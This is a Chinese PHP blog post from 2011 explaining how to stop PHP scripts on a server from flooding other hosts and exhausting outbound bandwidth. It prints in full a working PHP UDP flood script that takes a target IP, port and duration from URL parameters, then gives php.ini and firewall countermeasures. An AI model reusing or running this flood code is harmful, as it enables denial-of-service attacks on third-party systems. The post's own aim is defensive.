防止用户利用PHP代码DOS造成用光网络带宽


Posted in PHP onMarch 01, 2011

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP 相关文章推荐
PHP4实际应用经验篇(3)
Oct 09 PHP
php array_intersect()函数使用代码
Jan 14 PHP
php pack与unpack 摸板字符字符含义
Oct 29 PHP
在PHP中使用curl_init函数的说明
Nov 02 PHP
利用phpexcel把excel导入数据库和数据库导出excel实现
Jan 09 PHP
php 根据url自动生成缩略图并处理高并发问题
Jan 23 PHP
PHP中利用sleep函数实现定时执行功能实现代码
Aug 25 PHP
自写的利用PDO对mysql数据库增删改查操作类
Feb 19 PHP
PHP正则判断一个变量是否为正整数的方法
Feb 27 PHP
详解PHP变量传值赋值和引用赋值变量销毁
Mar 23 PHP
解决laravel 出现ajax请求419(unknown status)的问题
Sep 03 PHP
Laravel 创建指定表 migrate的例子
Oct 09 PHP
php Smarty 字符比较代码
Feb 27 #PHP
php下批量挂马和批量清马代码
Feb 27 #PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
You might like
PHP输出时间差函数代码
2013/01/28 PHP
php网站被挂木马后的修复方法总结
2014/11/06 PHP
php创建无限级树型菜单
2015/11/05 PHP
php+ajax无刷新分页实例详解
2015/12/07 PHP
php上传大文件设置方法
2016/04/14 PHP
Yii2中设置与获取别名的函数(setAlias和getAlias)用法分析
2016/07/25 PHP
PHP处理Ajax请求与Ajax跨域问题
2017/02/13 PHP
PHP简单读取xml文件的方法示例
2017/04/20 PHP
PHP使用PhpSpreadsheet操作Excel实例详解
2020/03/26 PHP
xtree.js 代码
2007/03/13 Javascript
JavaScript 编程引入命名空间的方法
2007/06/29 Javascript
javascript (用setTimeout而非setInterval)
2011/12/28 Javascript
可自定义速度的js图片无缝滚动示例分享
2014/01/20 Javascript
javascript时间函数大全
2014/06/30 Javascript
Jquery仿IGoogle实现可拖动窗口示例代码
2014/08/22 Javascript
jQuery实现表单步骤流程导航代码分享
2015/08/28 Javascript
js生成随机数的过程解析
2015/11/24 Javascript
Jquery循环截取字符串的方法(多出的字符串处理成&quot;...&quot;)
2016/11/28 Javascript
VueJs与ReactJS和AngularJS的异同点
2016/12/12 Javascript
AngularJS路由Ui-router模块用法示例
2017/05/29 Javascript
angularJs的ng-class切换class
2017/06/23 Javascript
在小程序Canvas中使用measureText的方法示例
2018/10/19 Javascript
Node.js中Koa2在控制台输出请求日志的方法示例
2019/05/02 Javascript
arcgis.js控制地图地体的显示范围超出区域自动弹回(实现思路)
2021/01/28 Javascript
python opencv检测目标颜色的实例讲解
2018/04/02 Python
python实现扫描日志关键字的示例
2018/04/28 Python
Python实现string字符串连接的方法总结【8种方式】
2018/07/06 Python
在Python中os.fork()产生子进程的例子
2019/08/08 Python
Pyinstaller 打包exe教程及问题解决
2019/08/16 Python
Python为何不支持switch语句原理详解
2020/10/21 Python
python 检测图片是否有马赛克
2020/12/01 Python
canvas绘制表情包的示例代码
2018/07/09 HTML / CSS
Pop In A Box英国:Funko POP搪胶公仔
2019/05/27 全球购物
管理部部长岗位职责
2013/12/05 职场文书
调查研究项目计划书
2014/04/29 职场文书
尊老爱亲美德少年事迹材料
2014/08/14 职场文书